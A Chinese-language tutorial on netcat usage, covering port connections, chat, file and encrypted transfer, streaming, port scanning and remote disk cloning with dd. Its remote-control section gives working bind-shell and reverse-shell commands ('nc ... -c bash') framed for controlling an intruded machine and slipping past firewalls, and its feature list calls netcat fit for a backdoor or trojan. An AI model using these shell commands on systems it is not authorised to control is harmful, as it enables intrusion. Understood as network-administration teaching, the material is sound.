常用命令之NC简介
NetCat简称NC,是一个非常简单的Unix工具。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接。NC小巧且功能强大,被称为工具界的“瑞士军刀”。NC的主要特点有:
(1)工具大小为只有60K,适合做后门;
(2)侦听模式/传输模式;
(3)telnet/获取banner信息;
(4)传输文本信息,可以实现简单的聊天程序;
(5)传输文件/目录;
(6)加密传输文件;
(7)远程控制,作为木马使用;
(8)加密所有流量;
(9)实现简单的流媒体服务器;
(10)远程硬盘克隆;
(11)电子取证等。
1. 实现远程端口连接
通过NC可以实现端口的远程连接,连接成功后,可以根据你所连接的类型做相应的操作,如下列所以,成功连接POP3服务器后,就可以进行用户身份的验证,从而进行收发邮件。
# 连接pop3端口 nc -nv 192.168.10.190 110 # 其它端口连接 nc -nv 192.168.10.190 25 nc -nv 192.168.10.190 80
2. 文本信息传输
如下实例实现了一个简单的聊天室,服务端与客户端可以实现简单的文本交流。
# 服务端:建立8888口的侦听 nc -lp 8888 # 客户端:通过IP地址连接服务器 nc -nv 192.168.10.2 8888
如下实例实现了简单电子取证,可以将客户端用户操作的命令结果反馈给服务器端。
# 服务端:建立8888口的侦听 nc -lp 8888 # 客户端:通过IP地址连接服务器 # 通过管道符“|”将命令结果反馈至服务器 ls -l | nc -nv 192.168.10.2 8888
如下实例实现了简单电子取证,可以将客户端用户操作的命令结果反馈给服务器端,服务器端存储成文件。
# 服务端:建立8888口的侦听 # 重定向内容到ps.log文件中 nc -lp 8888 > ps.log # 客户端:通过IP地址连接服务器 # 通过管道符“|”将命令结果反馈至服务器 # -q 1 显示结果显示结束后1秒断开连接 ps aux | nc -nv 192.168.10.2 8888 -q 1
3. 文件及目录传输
如下实例实现了将客户端demo.mp4文件,传送至服务器,服务器端是在客户端发送的同时建立文件。
# 服务端:建立8888口的侦听 # 重定向内容到demo.mp4文件中 nc -lp 8888 > demo.mp4 # 客户端:通过IP地址连接服务器 # 将demo.mp4文件传送至服务器 # -q 1 文件传送结束后1秒断开连接 nc -nv 192.168.10.2 8888 < demo.mp4 -q 1
如下实例实现了将服务端demo.mp4文件,传送至客户器,客户端是在服务端发送的同时建立文件。
# 服务端:建立8888口的侦听 # 将demo.mp4文件进行传送 # -q 1 文件传送结束后1秒关闭服务器 nc -lp 8888 < demo.mp4 -q 1 # 客户端:通过IP地址连接服务器 # 生成demo.mp4文件 nc -nv 192.168.10.2 8888 > demo.mp4
如下实例通过管道实现了,在服务端将文件打压缩包,打完的同时,将文件传送至客户端,客户端接收到完整的压缩包后,进行解压处理(传输过程是压缩传输的)。
# 服务端 # 压缩文件并传输 tar -cvf - music/ | nc -lp 8888 -q 1 # 客户端 # 连接时接收文件并解压处理 nc -nv 192.168.10.2 8888 | tar -xvf -
如下实例实现了文件在传输过程中,进行加密处理,即加密传输。
# 服务端 nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > demo.mp4 # 客户端 mcrypt --flush -Fbq -a rijndael-256 -m ecb < demo.mp4 | nc -nv 192.168.10.2 8888 -q 1
4. 简单流媒体的实现
如下实例实现了一个简单的流媒体服务器,服务端进行流的展示,客户端实现同步播放。
# 服务端 # 使用cat命令来显示文件,是以流的信息进行输出 cat demo.mp4 | nc -lp 8888 # 客户端 # 使用流媒体客户端接收流并播放 nc -nv 192.168.10.2 | mplayer -vo x11 -cache 3000 -
5. 端口扫描器
如下实例实现了端品扫描功能,可以扫描TCP及UDP端口信息。
# 全端口TCP扫描 # -z 为扫描模型,不进行数据交互 nc -nvz 192.168.10.2 1-65535 # UDP 1至1024端口扫描 # -z 为扫描模型,不进行数据交互 # -u 为扫描模型,不进行数据交互 nc -nvzu 192.168.10.2 1-1024
6. 远程克隆硬盘
如下实例实现了将目标服务器的硬盘实现远程复制,同样也可以实现内存等远程的复制(此方法可用于电子取证)。
# 服务端 # 通过dd命令来对硬盘实现输出操作 nc -lp 8888 | dd of=/dev/sda # 客户端 # 通过dd命令来对硬盘实现输入操作 dd if=/dev/sda | nc -nv 192.168.10.2 8888 -q 1
7. 远程控制
正向连接:应用环境为被入侵的机器开启服务端,客户端控制服务器,主要用于入侵端没有做任何安全控制的情况。
如下实例实现了服务器侦听8888端口,客户端进行连接,可以实现客户端对服务器端的控制与管理。
# 服务端 # -c bash为执行命令模式,Windows下,要将bash更换为cmd nc -lp 8888 -c bash # 客户端 nc 192.168.10.2 8888
反向连接:应用环境为控制端即我们的机器做为服务端,让被入侵端主动连接我们,这样解决了一些防火墙不允许正向连接的情况。
如下实例实现了服务器侦听8888端口,客户端进行主动连接,可以实现服务端对客户器端的控制与管理。
# 服务端 nc -lp 8888 # 客户端 # -c bash为执行命令模式,Windows下,要将bash更换为cmd nc 192.168.10.2 8888 -c bash
8. 扩展知识
NC虽然功能非常强大,但缺少身份验证的能力,即侦听某一端后后,任何人都可以使用NC进行连接,所以这里简单介绍一个新的命令ncat,此命令位于nmap工具集中,使用示例如下所示。
# 服务端开启侦听8888端口 # 只允许192.168.10.10访问服务器 # 传输过程使用SSL加密 ncat -c bash --allow 192.168.10.10 -vnl 8888 --ssl # 客户端连接 ncat -nv 192.168.10.2 8888 --ssl